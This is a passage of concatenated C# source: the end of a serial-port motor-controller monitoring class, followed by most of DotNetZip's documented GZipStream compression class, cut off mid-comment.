Tracer.Trace("OK: watchdog detected"); } } else { m_wCnt = 0; m_sb.Append(RxString); } } // Show all the incoming data in the port's buffer //Tracer.Trace(port.ReadExisting()); } #endregion // serial port operations /// <summary> /// hopefully not crippled string came in - wether a monitoring stream, a response to query or an echo from query or command /// </summary> /// <param name="str"></param> private void onStringReceived(string str, long timestamp) { try { if (str.StartsWith(":") && (str.Length == 25 || str.Length == 33)) { isMonitored = true; // :0000000000FE00009898396AB7B70000 - page 103 of controller doc // the 9898 is temperature 1 and 2 // the 396A is voltages // the 0000 at the end is speed - 00 left 00 right interpretMonitoringString(str, timestamp); } else if (isGrabbed) { lock (m_currentQueuePadlock) { if (m_currentQueue != null) { if (m_currentQueue.isProcessingInteraction) { if (m_currentQueue.onStringReceived(str, timestamp)) // last line will return true { m_currentQueue = null; } } } } } } catch(Exception exc) { } } #region interpretMonitoringString() // value names here must be in accordance to monitoring line that comes from controller in R/C mode: private static string[] monitorStringValueNames = new string[] { "Command1", "Command2", "Motor_Power_Left", "Motor_Power_Right", "Analog_Input_1", "Analog_Input_2", "Motor_Amps_Left", "Motor_Amps_Right", "Heatsink_Temperature_Left", "Heatsink_Temperature_Right", "Main_Battery_Voltage", "Internal_Voltage", "Value1", "Value2", "Encoder_Speed_Left", "Encoder_Speed_Right", "1", "2", "3", "4" // some extra just in case }; private static byte[] monitorStringValueConverters = new byte[] { 0, 0, 0, 0, 4, 4, 0, 0, 3, 3, 1, 2, 0, 0, 4, 4, 0, 0, 0, 0 }; private void interpretMonitoringString(string monStr, long timestamp) { // Tracer.Trace("MON: " + monStr); int j = 0; for (int i = 1; i < monStr.Length && j < monitorStringValueNames.GetLength(0) ; i += 2) { string sHexVal = monStr.Substring(i, 2); string valueName = monitorStringValueNames[j]; RQMeasuredValue measuredValue = new RQMeasuredValue(); bool mustAdd = false; if (m_measuredValues.ContainsKey(valueName)) { measuredValue = (RQMeasuredValue)m_measuredValues[valueName]; } else { measuredValue = new RQMeasuredValue(); mustAdd = true; } lock (measuredValue) { measuredValue.timestamp = timestamp; measuredValue.valueName = valueName; measuredValue.stringValue = sHexVal; measuredValue.intValue = Int32.Parse(sHexVal, NumberStyles.HexNumber); switch (monitorStringValueConverters[j]) { default: measuredValue.doubleValue = (double)measuredValue.intValue; break; case 1: measuredValue.doubleValue = RQVoltage.convertToMainVoltage(sHexVal); break; case 2: measuredValue.doubleValue = RQVoltage.convertToInternalVoltage(sHexVal); break; case 3: measuredValue.doubleValue = RQTemperature.convertToCelcius(sHexVal); break; case 4: measuredValue.intValue = RQCompressedHex.convertToInt(sHexVal); measuredValue.doubleValue = (double)measuredValue.intValue; break; } } if (mustAdd) { m_measuredValues.Add(valueName, measuredValue); } // Tracer.Trace(valueName + "=" + sHexVal + "=" + measuredValue.doubleValue); j++; } } #endregion // interpretMonitoringString() private void controlLoop() { while (true) { lock (this) { if (isGrabbed) { Tracer.Trace2("grabbed"); lock (m_currentQueuePadlock) { if (m_currentQueue != null) { // still processing current query if (m_currentQueue.checkForTimeout()) { m_currentQueue = null; } } } if (m_currentQueue == null) { // we are for sure not processing any interaction. // find first queue in priority list that has a processable interaction: RQInteractionQueue queue = null; foreach (RQInteractionQueue q in m_queues) { if (q.isProcessingInteraction || q.HasInteractionsQueued) { queue = q; break; } } if (queue != null) { lock (queue.padlock) { if (!queue.isProcessingInteraction) { // done with the current interaction, get next one: if (queue.HasInteractionsQueued) { m_currentQueue = queue; // when responses are processed, this is the queue to use. queue.lastSentTicks = DateTime.Now.Ticks; m_port.WriteLine(queue.dequeueForSend()); } } } } else { // all queues are empty, replentish the query queue: foreach (RQQuery q in m_querySet) { q.reset(); m_queryQueue.Enqueue(q); } } } } else if (isMonitored) { Tracer.Trace2("monitored"); } else if (isOnline) { Tracer.Trace2("online - receiving data"); } else { Tracer.Trace2("not connected"); } logMeasuredValues(); } Thread.Sleep(1); } } private DateTime m_lastMeasuredValuesLoggedTime = DateTime.MinValue; private int measuredValuesLogIntervalMs = 1000; private DateTime m_firstLogCall; private void logMeasuredValues() { if (m_measuredValues.Count < 2) { m_firstLogCall = DateTime.Now; return; } //if ((DateTime.Now - m_firstLogCall).TotalSeconds < 10) //{ // return; //} if( (DateTime.Now - m_lastMeasuredValuesLoggedTime).TotalMilliseconds >= measuredValuesLogIntervalMs && (isMonitored || isGrabbed) ) { m_lastMeasuredValuesLoggedTime = DateTime.Now; Logger.Log(); } } #region Monitoring Thread private Thread m_monitoringThread = null; private DateTime m_started = DateTime.Now; private void startMonitoringThread() { try { m_monitoringThread = new Thread(new System.Threading.ThreadStart(controlLoop)); m_monitoringThread.Name = "RoboteqControllerControlLoop"; m_monitoringThread.IsBackground = true; // see Entry.cs for how the current culture is set: m_monitoringThread.CurrentCulture = Thread.CurrentThread.CurrentCulture; //new CultureInfo("en-US", false); m_monitoringThread.CurrentUICulture = Thread.CurrentThread.CurrentUICulture; //new CultureInfo("en-US", false); m_monitoringThread.Priority = ThreadPriority.AboveNormal; m_started = DateTime.Now; m_monitoringThread.Start(); Thread.Sleep(0); //Give thread time to start. By documentation, 0 should work, but it does not! } catch (Exception exc) { Tracer.Error("startMonitoringThread" + exc.Message); } } /// <summary> /// we need to kill the thread if a long upload/download is in progress and we click "Stop" or close the dialog /// </summary> /// <returns></returns> private bool killMonitoringThread() { bool ret = (m_monitoringThread != null); Thread rtThread = m_monitoringThread; Tracer.Trace("killMonitoringThread"); if (rtThread != null) { try { Tracer.Trace("killMonitoringThread - aborting"); if (rtThread.IsAlive) { rtThread.Abort(); } } catch (Exception e) { Tracer.Error("killMonitoringThread - while aborting - " + e); } m_monitoringThread = null; // Project.inhibitRefresh = false; Tracer.Trace("killMonitoringThread - finished"); } else { Tracer.Trace("killMonitoringThread - no thread to kill"); } return ret; } #endregion // Monitoring Thread } }
// GZipStream.cs // ------------------------------------------------------------------ // // Copyright (c) 2009 Dino Chiesa and Microsoft Corporation. // All rights reserved. // // This code module is part of DotNetZip, a zipfile class library. // // ------------------------------------------------------------------ // // This code is licensed under the Microsoft Public License. // See the file License.txt for the license details. // More info on: http://dotnetzip.codeplex.com // // ------------------------------------------------------------------ // // last saved (in emacs): // Time-stamp: <2011-July-11 21:42:34> // // ------------------------------------------------------------------ // // This module defines the GZipStream class, which can be used as a replacement for // the System.IO.Compression.GZipStream class in the .NET BCL. NB: The design is not // completely OO clean: there is some intelligence in the ZlibBaseStream that reads the // GZip header. // // ------------------------------------------------------------------ using System; using System.IO; namespace Ionic.Zlib { /// <summary> /// A class for compressing and decompressing GZIP streams. /// </summary> /// <remarks> /// /// <para> /// The <c>GZipStream</c> is a <see /// href="http://en.wikipedia.org/wiki/Decorator_pattern">Decorator</see> on a /// <see cref="Stream"/>. It adds GZIP compression or decompression to any /// stream. /// </para> /// /// <para> /// Like the <c>System.IO.Compression.GZipStream</c> in the .NET Base Class Library, the /// <c>Ionic.Zlib.GZipStream</c> can compress while writing, or decompress while /// reading, but not vice versa. The compression method used is GZIP, which is /// documented in <see href="http://www.ietf.org/rfc/rfc1952.txt">IETF RFC /// 1952</see>, "GZIP file format specification version 4.3".</para> /// /// <para> /// A <c>GZipStream</c> can be used to decompress data (through <c>Read()</c>) or /// to compress data (through <c>Write()</c>), but not both. /// </para> /// /// <para> /// If you wish to use the <c>GZipStream</c> to compress data, you must wrap it /// around a write-able stream. As you call <c>Write()</c> on the <c>GZipStream</c>, the /// data will be compressed into the GZIP format. If you want to decompress data, /// you must wrap the <c>GZipStream</c> around a readable stream that contains an /// IETF RFC 1952-compliant stream. The data will be decompressed as you call /// <c>Read()</c> on the <c>GZipStream</c>. /// </para> /// /// <para> /// Though the GZIP format allows data from multiple files to be concatenated /// together, this stream handles only a single segment of GZIP format, typically /// representing a single file. /// </para> /// /// <para> /// This class is similar to <see cref="ZlibStream"/> and <see cref="DeflateStream"/>. /// <c>ZlibStream</c> handles RFC1950-compliant streams. <see cref="DeflateStream"/> /// handles RFC1951-compliant streams. This class handles RFC1952-compliant streams. /// </para> /// /// </remarks> /// /// <seealso cref="DeflateStream" /> /// <seealso cref="ZlibStream" /> public class GZipStream : System.IO.Stream { // GZip format // source: http://tools.ietf.org/html/rfc1952 // // header id: 2 bytes 1F 8B // compress method 1 byte 8= DEFLATE (none other supported) // flag 1 byte bitfield (See below) // mtime 4 bytes time_t (seconds since jan 1, 1970 UTC of the file. // xflg 1 byte 2 = max compress used , 4 = max speed (can be ignored) // OS 1 byte OS for originating archive. set to 0xFF in compression. // extra field length 2 bytes optional - only if FEXTRA is set. // extra field varies // filename varies optional - if FNAME is set. zero terminated. ISO-8859-1. // file comment varies optional - if FCOMMENT is set. zero terminated. ISO-8859-1. // crc16 1 byte optional - present only if FHCRC bit is set // compressed data varies // CRC32 4 bytes // isize 4 bytes data size modulo 2^32 // // FLG (FLaGs) // bit 0 FTEXT - indicates file is ASCII text (can be safely ignored) // bit 1 FHCRC - there is a CRC16 for the header immediately following the header // bit 2 FEXTRA - extra fields are present // bit 3 FNAME - the zero-terminated filename is present. encoding; ISO-8859-1. // bit 4 FCOMMENT - a zero-terminated file comment is present. encoding: ISO-8859-1 // bit 5 reserved // bit 6 reserved // bit 7 reserved // // On consumption: // Extra field is a bunch of nonsense and can be safely ignored. // Header CRC and OS, likewise. // // on generation: // all optional fields get 0, except for the OS, which gets 255. // /// <summary> /// The comment on the GZIP stream. /// </summary> /// /// <remarks> /// <para> /// The GZIP format allows for each file to optionally have an associated /// comment stored with the file. The comment is encoded with the ISO-8859-1 /// code page. To include a comment in a GZIP stream you create, set this /// property before calling <c>Write()</c> for the first time on the /// <c>GZipStream</c>. /// </para> /// /// <para> /// When using <c>GZipStream</c> to decompress, you can retrieve this property /// after the first call to <c>Read()</c>. If no comment has been set in the /// GZIP bytestream, the Comment property will return <c>null</c> /// (<c>Nothing</c> in VB). /// </para> /// </remarks> public String Comment { get { return _Comment; } set { if (_disposed) throw new ObjectDisposedException("GZipStream"); _Comment = value; } } /// <summary> /// The FileName for the GZIP stream. /// </summary> /// /// <remarks> /// /// <para> /// The GZIP format optionally allows each file to have an associated /// filename. When compressing data (through <c>Write()</c>), set this /// FileName before calling <c>Write()</c> the first time on the <c>GZipStream</c>. /// The actual filename is encoded into the GZIP bytestream with the /// ISO-8859-1 code page, according to RFC 1952. It is the application's /// responsibility to insure that the FileName can be encoded and decoded /// correctly with this code page. /// </para> /// /// <para> /// When decompressing (through <c>Read()</c>), you can retrieve this value /// any time after the first <c>Read()</c>. In the case where there was no filename /// encoded into the GZIP bytestream, the property will return <c>null</c> (<c>Nothing</c> /// in VB). /// </para> /// </remarks> public String FileName { get { return _FileName; } set { if (_disposed) throw new ObjectDisposedException("GZipStream"); _FileName = value; if (_FileName == null) return; if (_FileName.IndexOf("/") != -1) { _FileName = _FileName.Replace("/", "\\"); } if (_FileName.EndsWith("\\")) throw new Exception("Illegal filename"); if (_FileName.IndexOf("\\") != -1) { // trim any leading path _FileName = Path.GetFileName(_FileName); } } } /// <summary> /// The last modified time for the GZIP stream. /// </summary> /// /// <remarks> /// GZIP allows the storage of a last modified time with each GZIP entry. /// When compressing data, you can set this before the first call to /// <c>Write()</c>. When decompressing, you can retrieve this value any time /// after the first call to <c>Read()</c>. /// </remarks> public DateTime? LastModified; /// <summary> /// The CRC on the GZIP stream. /// </summary> /// <remarks> /// This is used for internal error checking. You probably don't need to look at this property. /// </remarks> public int Crc32 { get { return _Crc32; } } private int _headerByteCount; internal ZlibBaseStream _baseStream; bool _disposed; bool _firstReadDone; string _FileName; string _Comment; int _Crc32; /// <summary> /// Create a <c>GZipStream</c> using the specified <c>CompressionMode</c>. /// </summary> /// <remarks> /// /// <para> /// When mode is <c>CompressionMode.Compress</c>, the <c>GZipStream</c> will use the /// default compression level. /// </para> /// /// <para> /// As noted in the class documentation, the <c>CompressionMode</c> (Compress /// or Decompress) also establishes the "direction" of the stream. A /// <c>GZipStream</c> with <c>CompressionMode.Compress</c> works only through /// <c>Write()</c>. A <c>GZipStream</c> with /// <c>CompressionMode.Decompress</c> works only through <c>Read()</c>. /// </para> /// /// </remarks> /// /// <example> /// This example shows how to use a GZipStream to compress data. /// <code> /// using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) /// { /// using (var raw = System.IO.File.Create(outputFile)) /// { /// using (Stream compressor = new GZipStream(raw, CompressionMode.Compress)) /// { /// byte[] buffer = new byte[WORKING_BUFFER_SIZE]; /// int n; /// while ((n= input.Read(buffer, 0, buffer.Length)) != 0) /// { /// compressor.Write(buffer, 0, n); /// } /// } /// } /// } /// </code> /// <code lang="VB"> /// Dim outputFile As String = (fileToCompress &amp; ".compressed") /// Using input As Stream = File.OpenRead(fileToCompress) /// Using raw As FileStream = File.Create(outputFile) /// Using compressor As Stream = New GZipStream(raw, CompressionMode.Compress) /// Dim buffer As Byte() = New Byte(4096) {} /// Dim n As Integer = -1 /// Do While (n &lt;&gt; 0) /// If (n &gt; 0) Then /// compressor.Write(buffer, 0, n) /// End If /// n = input.Read(buffer, 0, buffer.Length) /// Loop /// End Using /// End Using /// End Using /// </code> /// </example> /// /// <example> /// This example shows how to use a GZipStream to uncompress a file. /// <code> /// private void GunZipFile(string filename) /// { /// if (!filename.EndsWith(".gz)) /// throw new ArgumentException("filename"); /// var DecompressedFile = filename.Substring(0,filename.Length-3); /// byte[] working = new byte[WORKING_BUFFER_SIZE]; /// int n= 1; /// using (System.IO.Stream input = System.IO.File.OpenRead(filename)) /// { /// using (Stream decompressor= new Ionic.Zlib.GZipStream(input, CompressionMode.Decompress, true)) /// { /// using (var output = System.IO.File.Create(DecompressedFile)) /// { /// while (n !=0) /// { /// n= decompressor.Read(working, 0, working.Length); /// if (n > 0) /// { /// output.Write(working, 0, n); /// } /// } /// } /// } /// } /// } /// </code> /// /// <code lang="VB"> /// Private Sub GunZipFile(ByVal filename as String) /// If Not (filename.EndsWith(".gz)) Then /// Throw New ArgumentException("filename") /// End If /// Dim DecompressedFile as String = filename.Substring(0,filename.Length-3) /// Dim working(WORKING_BUFFER_SIZE) as Byte /// Dim n As Integer = 1 /// Using input As Stream = File.OpenRead(filename) /// Using decompressor As Stream = new Ionic.Zlib.GZipStream(input, CompressionMode.Decompress, True) /// Using output As Stream = File.Create(UncompressedFile) /// Do /// n= decompressor.Read(working, 0, working.Length) /// If n > 0 Then /// output.Write(working, 0, n) /// End IF /// Loop While (n > 0) /// End Using /// End Using /// End Using /// End Sub /// </code> /// </example> /// /// <param name="stream">The stream which will be read or written.</param> /// <param name="mode">Indicates whether the GZipStream will compress or decompress.</param> public GZipStream(Stream stream, CompressionMode mode) : this(stream, mode, CompressionLevel.Default, false) { } /// <summary> /// Create a <c>GZipStream</c> using the specified <c>CompressionMode</c> and /// the specified <c>CompressionLevel</c>. /// </summary> /// <remarks> /// /// <para> /// The <c>CompressionMode</c> (Compress or Decompress) also establishes the /// "direction" of the stream. A <c>GZipStream</c> with /// <c>CompressionMode.Compress</c> works only through <c>Write()</c>. A /// <c>GZipStream</c> with <c>CompressionMode.Decompress</c> works only /// through <c>Read()</c>. /// </para> /// /// </remarks> /// /// <example> /// /// This example shows how to use a <c>GZipStream</c> to compress a file into a .gz file. /// /// <code> /// using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) /// { /// using (var raw = System.IO.File.Create(fileToCompress + ".gz")) /// { /// using (Stream compressor = new GZipStream(raw, /// CompressionMode.Compress, /// CompressionLevel.BestCompression)) /// { /// byte[] buffer = new byte[WORKING_BUFFER_SIZE]; /// int n; /// while ((n= input.Read(buffer, 0, buffer.Length)) != 0) /// { /// compressor.Write(buffer, 0, n); /// } /// } /// } /// } /// </code> /// /// <code lang="VB"> /// Using input As Stream = File.OpenRead(fileToCompress) /// Using raw As FileStream = File.Create(fileToCompress &amp; ".gz") /// Using compressor As Stream = New GZipStream(raw, CompressionMode.Compress, CompressionLevel.BestCompression) /// Dim buffer As Byte() = New Byte(4096) {} /// Dim n As Integer = -1 /// Do While (n &lt;&gt; 0) /// If (n &gt; 0) Then /// compressor.Write(buffer, 0, n) /// End If /// n = input.Read(buffer, 0, buffer.Length) /// Loop /// End Using /// End Using /// End Using /// </code> /// </example> /// <param name="stream">The stream to be read or written while deflating or inflating.</param> /// <param name="mode">Indicates whether the <c>GZipStream</c> will compress or decompress.</param> /// <param name="level">A tuning knob to trade speed for effectiveness.</param> public GZipStream(Stream stream, CompressionMode mode, CompressionLevel level) : this(stream, mode, level, false) { } /// <summary> /// Create a <c>GZipStream</c> using the specified <c>CompressionMode</c>, and /// explicitly specify whether the stream should be left open after Deflation /// or Inflation. /// </summary> /// /// <remarks> /// <para> /// This constructor allows the application to request that the captive stream /// remain open after the deflation or inflation occurs. By default, after /// <c>Close()</c> is called on the stream, the captive stream is also /// closed. In some cases this is not desired, for example if the stream is a /// memory stream that will be re-read after compressed data has been written /// to it. Specify true for the <paramref name="leaveOpen"/> parameter to leave /// the stream open. /// </para> /// /// <para> /// The <see cref="CompressionMode"/> (Compress or Decompress) also /// establishes the "direction" of the stream. A <c>GZipStream</c> with /// <c>CompressionMode.Compress</c> works only through <c>Write()</c>. A <c>GZipStream</c> /// with <c>CompressionMode.Decompress</c> works only through <c>Read()</c>. /// </para> /// /// <para> /// The <c>GZipStream</c> will use the default compression level. If you want /// to specify the compression level, see <see cref="GZipStream(Stream, /// CompressionMode, CompressionLevel, bool)"/>. /// </para> /// /// <para> /// See the other overloads of this constructor for example code. /// </para> /// /// </remarks> /// /// <param name="stream"> /// The stream which will be read or written. This is called the "captive" /// stream in other places in this documentation. /// </param> /// /// <param name="mode">Indicates whether the GZipStream will compress or decompress. /// </param> /// /// <param name="leaveOpen"> /// true if the application would like the base stream to remain open after /// inflation/deflation. /// </param> public GZipStream(Stream stream, CompressionMode mode, bool leaveOpen) : this(stream, mode, CompressionLevel.Default, leaveOpen) { } /// <summary> /// Create a <c>GZipStream</c> using the specified <c>CompressionMode</c> and the /// specified <c>CompressionLevel</c>, and explicitly specify whether the /// stream should be left open after Deflation or Inflation. /// </summary> /// /// <remarks> /// /// <para> /// This constructor allows the application to request that the captive stream /// remain open after the deflation or inflation occurs. By default, after /// <c>Close()</c> is called on the stream, the captive stream is also /// closed. In some cases this is not desired, for example if the stream is a /// memory stream that will be re-read after compressed data has been written /// to it. Specify true for the <paramref name="leaveOpen"/> parameter to /// leave the stream open. /// </para> /// /// <para> /// As noted in the class documentation, the <c>CompressionMode</c> (Compress /// or Decompress) also establishes the "direction" of the stream. A /// <c>GZipStream</c> with <c>CompressionMode.Compress</c> works only through /// <c>Write()</c>. A <c>GZipStream</c> with <c>CompressionMode.Decompress</c> works only /// through <c>Read()</c>. /// </para> /// /// </remarks> /// /// <example> /// This example shows how to use a <c>GZipStream</c> to compress data. /// <code> /// using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) /// { /// using (var raw = System.IO.File.Create(outputFile)) /// { /// using (Stream compressor = new GZipStream(raw, CompressionMode.Compress, CompressionLevel.BestCompression, true)) /// { /// byte[] buffer = new byte[WORKING_BUFFER_SIZE]; /// int n; /// while ((n= input.Read(buffer, 0, buffer.Length)) != 0) /// { /// compressor.Write(buffer, 0, n); /// } /// } /// } /// } /// </code> /// <code lang="VB"> /// Dim outputFile As String = (fileToCompress &amp; ".compressed") /// Using input As Stream = File.OpenRead(fileToCompress) /// Using raw As FileStream = File.Create(outputFile) /// Using compressor As Stream = New GZipStream(raw, CompressionMode.Compress, CompressionLevel.BestCompression, True) /// Dim buffer As Byte() = New Byte(4096) {} /// Dim n As Integer = -1 /// Do While (n &lt;&gt; 0) /// If (n &gt; 0) Then /// compressor.Write(buffer, 0, n) /// End If /// n = input.Read(buffer, 0, buffer.Length) /// Loop /// End Using /// End Using /// End Using /// </code> /// </example> /// <param name="stream">The stream which will be read or written.</param> /// <param name="mode">Indicates whether the GZipStream will compress or decompress.</param> /// <param name="leaveOpen">true if the application would like the stream to remain open after inflation/deflation.</param> /// <param name="level">A tuning knob to trade speed for effectiveness.</param> public GZipStream(Stream stream, CompressionMode mode, CompressionLevel level, bool leaveOpen) { _baseStream = new ZlibBaseStream(stream, mode, level, ZlibStreamFlavor.GZIP, leaveOpen); } #region Zlib properties /// <summary> /// This property sets the flush behavior on the stream. /// </summary> virtual public FlushType FlushMode { get { return (this._baseStream._flushMode); } set { if (_disposed) throw new ObjectDisposedException("GZipStream"); this._baseStream._flushMode = value; } } /// <summary> /// The size of the working buffer for the compression codec. /// </summary> /// /// <remarks> /// <para> /// The working buffer is used for all stream operations. The default size is /// 1024 bytes. The minimum size is 128 bytes. You may get better performance /// with a larger buffer. Then again, you might not. You would have to test /// it. /// </para> /// /// <para> /// Set this before the first call to <c>Read()</c> or <c>Write()</c> on the /// stream. If you try to set it afterwards, it will throw. /// </para> /// </remarks> public int BufferSize { get { return this._baseStream._bufferSize; } set { if (_disposed) throw new ObjectDisposedException("GZipStream"); if (this._baseStream._workingBuffer != null) throw new ZlibException("The working buffer is already set."); if (value < ZlibConstants.WorkingBufferSizeMin) throw new ZlibException(String.Format("Don't be silly. {0} bytes?? Use a bigger buffer, at least {1}.", value, ZlibConstants.WorkingBufferSizeMin)); this._baseStream._bufferSize = value; } } /// <summary> Returns the total number of bytes input so far.</summary> virtual public long TotalIn { get { return this._baseStream._z.TotalBytesIn; } } /// <summary> Returns the total number of bytes output so far.</summary> virtual public long TotalOut { get { return this._baseStream._z.TotalBytesOut; } } #endregion #region Stream methods /// <summary> /// Dispose the stream. /// </summary> /// <remarks> /// <para> /// This may or may not result in a <c>Close()</c> call on the captive /// stream. See the constructors that have a <c>leaveOpen</c> parameter /// for more information. /// </para> /// <para> /// This method may be invoked in two distinct scenarios. If disposing /// == true, the method has been called directly or indirectly by a /// user's code, for example via the public Dispose() method. In this /// case, both managed and unmanaged resources can be referenced and /// disposed. If disposing == false, the method has been called by the /// runtime from inside the object finalizer and this method should not /// reference other objects; in that case only unmanaged resources must /// be referenced or disposed. /// </para> /// </remarks> /// <param name="disposing"> /// indicates whether the Dispose method was invoked by user code. /// </param> protected override void Dispose(bool disposing) { try { if (!_disposed) { if (disposing && (this._baseStream != null)) { this._baseStream.Close(); this._Crc32 = _baseStream.Crc32; } _disposed = true; } } finally { base.Dispose(disposing); } } /// <summary> /// Indicates whether the stream can be read. /// </summary> /// <remarks> /// The return value depends on whether the captive stream supports reading. /// </remarks> public override bool CanRead { get { if (_disposed) throw new ObjectDisposedException("GZipStream"); return _baseStream._stream.CanRead; } } /// <summary> /// Indicates whether the stream supports Seek operations. /// </summary> /// <remarks> /// Always returns false. /// </remarks> public override bool CanSeek { get { return false; } } /// <summary> /// Indicates whether the stream can be written. /// </summary> /// <remarks> /// The return value depends on whether the captive stream supports writing. /// </remarks> public override bool CanWrite { get { if (_disposed) throw new ObjectDisposedException("GZipStream"); return _baseStream._stream.CanWrite; } } /// <summary> /// Flush the stream. /// </summary> public override void Flush() { if (_disposed) throw new ObjectDisposedException("GZipStream"); _baseStream.Flush(); } /// <summary> /// Reading this property always throws a <see cref="NotImplementedException"/>. /// </summary> public override long Length { get { throw new NotImplementedException(); } } /// <summary> /// The position of the stream pointer. /// </summary> /// /// <remarks> /// Setting this property always throws a <see /// cref="NotImplementedException"/>. Reading will return the total bytes /// written out, if used in writing, or the total bytes read in, if used in /// reading. The count may refer to compressed bytes or uncompressed bytes, /// depending on how you've used the stream. /// </remarks> public override long Position { get { if (this._baseStream._streamMode == Ionic.Zlib.ZlibBaseStream.StreamMode.Writer) return this._baseStream._z.TotalBytesOut + _headerByteCount; if (this._baseStream._streamMode == Ionic.Zlib.ZlibBaseStream.StreamMode.Reader) return this._baseStream._z.TotalBytesIn + this._baseStream._gzipHeaderByteCount; return 0; } set { throw new NotImplementedException(); } } /// <summary> /// Read and decompress data from the source stream. /// </summary> /// /// <remarks> /// With a <c>GZipStream</c>, decompression is done through reading. /// </remarks> /// /// <example> /// <code> /// byte[] working = new byte[WORKING_BUFFER_SIZE]; /// using (System.IO.Stream input = System.IO.File.OpenRead(_CompressedFile)) /// { /// using (Stream decompressor= new Ionic.Zlib.GZipStream(input, CompressionMode.Decompress, true)) /// { /// using (var output = System.IO.File.Create(_DecompressedFile)) /// { /// int n; /// while ((n= decompressor.Read(working, 0, working.Length)) !=0) /// { /// output.Write(working, 0, n); /// } /// } /// } /// } /// </code> /// </example> /// <param name="buffer">The buffer into which the decompressed data should be placed.</param> /// <param name="offset">the offset within that data array to put the first byte read.</param> /// <param name="count">the number of bytes to read.</param> /// <returns>the number of bytes actually read</returns> public override int Read(byte[] buffer, int offset, int count) { if (_disposed) throw new ObjectDisposedException("GZipStream"); int n = _baseStream.Read(buffer, offset, count); // Console.WriteLine("GZipStream::Read(buffer, off({0}), c({1}) = {2}", offset, count, n); // Console.WriteLine( Util.FormatByteArray(buffer, offset, n) ); if (!_firstReadDone) { _firstReadDone = true; FileName = _baseStream._GzipFileName; Comment = _baseStream._GzipComment; } return n; } /// <summary> /// Calling this method always throws a <see cref="NotImplementedException"/>. /// </summary> /// <param name="offset">irrelevant; it will always throw!</param> /// <param name="origin">irrelevant; it will always throw!</param> /// <returns>irrelevant!</returns> public override long Seek(long offset, SeekOrigin origin) { throw new NotImplementedException(); } /// <summary> /// Calling this method always throws a <see cref="NotImplementedException"/>. /// </summary> /// <param name="value">irrelevant; this method will always throw!</param> public override void SetLength(long value) { throw new NotImplementedException(); } /// <summary> /// Write data to the stream. /// </summary> /// /// <remarks> /// <para> /// If you wish to use the <c>GZipStream</c> to compress data while writing, /// you can create a <c>GZipStream</c> with <c>CompressionMode.Compress</c>, and a /// writable output stream. Then call <c>Write()</c> on that <c>GZipStream</c>, /// providing uncompressed data as input. The data sent to the output stream /// will be the compressed form of the data written. /// </para> /// /// <para> /// A <c>GZipStream</c> can be used for <c>Read()</c> or <c>Write()</c>, but not /// both. Writing implies compression. Reading implies decompression. /// </para> /// /// </remarks> /// <param name="buffer">The buffer holding data to write to the stream.</param> /// <param name="offset">the offset within that data array to find the first byte to write.</param> /// <param name="count">the number of bytes to write.</param> public override void Write(byte[] buffer, int offset, int count) { if (_disposed) throw new ObjectDisposedException("GZipStream"); if (_baseStream._streamMode == Ionic.Zlib.ZlibBaseStream.StreamMode.Undefined) { //Console.WriteLine("GZipStream: First write"); if (_baseStream._wantCompress) { // first write in compression, therefore, emit the GZIP header _headerByteCount = EmitHeader(); } else { throw new InvalidOperationException(); } } _baseStream.Write(buffer, offset, count); } #endregion internal static readonly System.DateTime _unixEpoch = new System.DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc); internal static readonly System.Text.Encoding iso8859dash1 = System.Text.Encoding.GetEncoding("iso-8859-1"); private int EmitHeader() { byte[] commentBytes = (Comment == null) ? null : iso8859dash1.GetBytes(Comment); byte[] filenameBytes = (FileName == null) ? null : iso8859dash1.GetBytes(FileName); int cbLength = (Comment == null) ? 0 : commentBytes.Length + 1; int fnLength = (FileName == null) ? 0 : filenameBytes.Length + 1; int bufferLength = 10 + cbLength + fnLength; byte[] header = new byte[bufferLength]; int i = 0; // ID header[i++] = 0x1F; header[i++] = 0x8B; // compression method header[i++] = 8; byte flag = 0; if (Comment != null) flag ^= 0x10; if (FileName != null) flag ^= 0x8; // flag header[i++] = flag; // mtime if (!LastModified.HasValue) LastModified = DateTime.Now; System.TimeSpan delta = LastModified.Value - _unixEpoch; Int32 timet = (Int32)delta.TotalSeconds; Array.Copy(BitConverter.GetBytes(timet), 0, header, i, 4); i += 4; // xflg header[i++] = 0; // this field is totally useless // OS header[i++] = 0xFF; // 0xFF == unspecified // extra field length - only if FEXTRA is set, which it is not. //header[i++]= 0; //header[i++]= 0; // filename if (fnLength != 0) { Array.Copy(filenameBytes, 0, header, i, fnLength - 1); i += fnLength - 1; header[i++] = 0; // terminate } // comment if (cbLength != 0) { Array.Copy(commentBytes, 0, header, i, cbLength - 1); i += cbLength - 1; header[i++] = 0; // terminate } _baseStream._stream.Write(header, 0, header.Length); return header.Length; // bytes written } /// <summary> /// Compress a string into a byte array using GZip. /// </summary> /// /// <remarks> /// Uncompress it with <see cref="GZipStream.UncompressString(byte[])"/>. /// </remarks> /// /// <seealso cref="GZipStream.UncompressString(byte[])"/> /// <seealso cref="GZipStream.CompressBuffer(byte[])"/> /// /// <param name="s"> /// A string to compress. The string will first be encoded /// using UTF-8, then compressed. /// </param> /// /// <returns>The string in compressed form</returns> public static byte[] CompressString(String s) { using (var ms = new MemoryStream()) { System.IO.Stream compressor = new GZipStream(ms, CompressionMode.Compress, CompressionLevel.BestCompression); ZlibBaseStream.CompressString(s, compressor); return ms.ToArray(); } } /// <summary> /// Compress a byte array into a new byte array using GZip. /// </summary> /// /// <remarks> /// Uncompress it with <see cref="GZipStream.UncompressBuffer(byte[])"/>. /// </remarks> /// /// <seealso cref="GZipStream.CompressString(string)"/> /// <seealso cref="GZipStream.UncompressBuffer(byte[])"/> /// /// <param name="b"> /// A buffer to compress. /// </param> /// /// <returns>The data in compressed form</returns> public static byte[] CompressBuffer(byte[] b) { using (var ms = new MemoryStream()) { System.IO.Stream compressor = new GZipStream( ms, CompressionMode.Compress, CompressionLevel.BestCompression ); ZlibBaseStream.CompressBuffer(b, compressor); return ms.ToArray(); } } /// <summary> /// Uncompress a GZip'ed byte array into a single string. /// </summary> /// /// <seealso cref="GZipStream.CompressString(String)"/> /// <seealso cref="GZipStream.UncompressBuffer(byte[])"/> /// /// <param name="compressed"> /// A buffer containing GZIP-compressed data. /// </param> /// /// <returns>The uncompressed string</returns> public static String UncompressString(byte[] compressed) { using (var input = new MemoryStream(compressed)) { Stream decompressor = new GZipStream(input, CompressionMode.Decompress); return ZlibBaseStream.UncompressString(compressed, decompressor); } } /// <summary> /// 